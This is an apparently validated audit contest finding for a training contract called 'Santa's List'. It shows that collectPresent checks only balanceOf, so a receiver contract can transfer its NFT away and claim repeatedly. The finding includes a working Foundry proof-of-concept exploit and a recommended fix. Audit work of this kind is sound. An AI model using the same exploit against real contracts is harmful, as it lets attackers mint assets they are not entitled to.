First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Manipulateable requirement on `SantasList::collectPresent` makes it possible to collect Present more than once

novodelta

Summary

It is possible to manipulate the requirement balanceOf(msg.sender) > 0 in the function collectPresent() to receive a NFT present more than once when the EOA or Contract is NICE or EXTRA_NICE. The balanceOf(address) function in an ERC721 contract returns the amount of NFT's owned by an arbitrary address. In sending the collected present (NFT) to another contract the balanceOf the address is again zero and the requirement balanceOf(msg.sender) > 0 is false.

Vulnerability Details

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@>>> if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

Impact

ERC721Receiver contract to get tokenId (or do all the handling in the callback)

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
contract ERC721Receiver is IERC721Receiver {
uint256 private tokenId;
​
function onERC721Received(address to, address from, uint256 _tokenId, bytes calldata) external returns (bytes4) {
tokenId = _tokenId;
return IERC721Receiver.onERC721Received.selector;
}
​
function getTokenId() external returns (uint256) {
return tokenId;
}
}

Test function

function testCanCollectPresentMoreThanOnce() public {
ERC721Receiver receiver = new ERC721Receiver();
// santa sets receiver contract as NICE
vm.startPrank(santa);
santasList.checkList(address(receiver), SantasList.Status.NICE);
santasList.checkTwice(address(receiver), SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// Receiver collects the presents, sends the present to "user" and is able to collect the present again. The test gets two NFT's but it is possible to get
// infinite NFTs.
vm.startPrank(address(receiver));
santasList.collectPresent();
uint256 tokenId = receiver.getTokenId();
santasList.safeTransferFrom(address(receiver), user, tokenId);
santasList.collectPresent();
santasList.safeTransferFrom(address(receiver), user, tokenId + 1);
vm.stopPrank();
// Balance of "user"
uint256 amountNFTs = santasList.balanceOf(user);
assertEq(amountNFTs, 2);
}
​

Tools Used

  • Foundry

Recommendations

  • Use an internal mapping which stores the addresses that received already a present.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.